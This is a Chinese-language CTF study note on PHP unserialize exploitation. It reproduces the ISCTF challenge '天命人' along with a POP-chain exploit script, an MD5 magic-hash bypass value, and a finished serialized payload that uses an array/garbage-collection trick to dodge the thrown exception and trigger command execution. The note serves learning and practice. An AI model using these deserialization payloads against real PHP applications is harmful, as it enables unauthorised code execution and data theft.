f 复现的时候gc回收机制发现不会 写出来当笔记了
学习from:https://xz.aliyun.com/t/11843?time__1311=Cq0xuD0DnD203GNem%3DQaqiI3Y5p2GbD
直接拿isctf的题目来进行练习
天命人
<?php error_reporting(0);
  \ class Wuzhishan{   public $wu="俺老孙定要踏破这五指山!<br>";   public $zhi;   public $shan;
    function __get($j)   {     echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";     $yin="s214587387a";     $yang=$_GET['J'];     if (md5($yin)==$yang&&md5($yin)==md5($yang)){       echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";       system('cat /flag');     }   } } class Huoyanjinjing{   public $huoyan;   public $jinjing;   function __get($huo)   {     $this->huoyan="火眼能洞察一切邪祟!<br>";     echo $this->huoyan->jinjing;   }   function __invoke()   {     $this->jinjing="金睛能看破世间迷惘!<br>";     echo $this->huoyan->jinjing;   } } class Dinghaishenzhen{   public $Jindou="一个筋斗能翻十万八千里!<br>";   public $yun;
    function __toString()   {     $f=$this->yun;     $f();     return "你真的逃出去了吗?天命人?<br>";   } } class Jingdouyun{   public $Qishier=72;   public $bian="看俺老孙七十二变!<br>";
    function __sleep()   {     echo "三更敲门,菩提老祖送我筋斗云...<br>";     echo new Jindouyun();   } } class Tianmingren {   public $tianming;   public $ren;   function __destruct()   {     echo "迷途中的羔羊,你相信天命吗?<br>";     echo $this->tianming;   } } $data = unserialize($_POST['Wukong']); throw new Exception('开局一根棍,装备全靠打。'); ?>
   | 
 
就是gc回收机制加上反序列化
链子很简单
直接上exp了
class Wuzhishan{     public $wu;     public $zhi;     public $shan;
 
  } class Huoyanjinjing{     public $huoyan;     public $jinjing;      } class Dinghaishenzhen{     public $Jindou;     public $yun;
 
  }
  class Tianmingren {     public $tianming;     public $ren;      } $a=new Tianmingren(); $a->tianming=new Dinghaishenzhen(); $a->tianming->yun= new Huoyanjinjing(); $a->tianming->yun->huoyan= new Wuzhishan(); $b=array($a,0); echo serialize($b);
 
 
  ?>     
  | 
因为这里还存在md5的绕过 直接让J=0e215962017
最后因为还要绕过异常处理 所以我们直接反序列化一个数组 让第二个索引为0 即可绕过
payload
GET:?J=0e215962017
  POST=Wukong=a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";N;s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";N;s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:0;i:0;}
   | 
 
### CTFSHOW卷王杯[easy unserialize]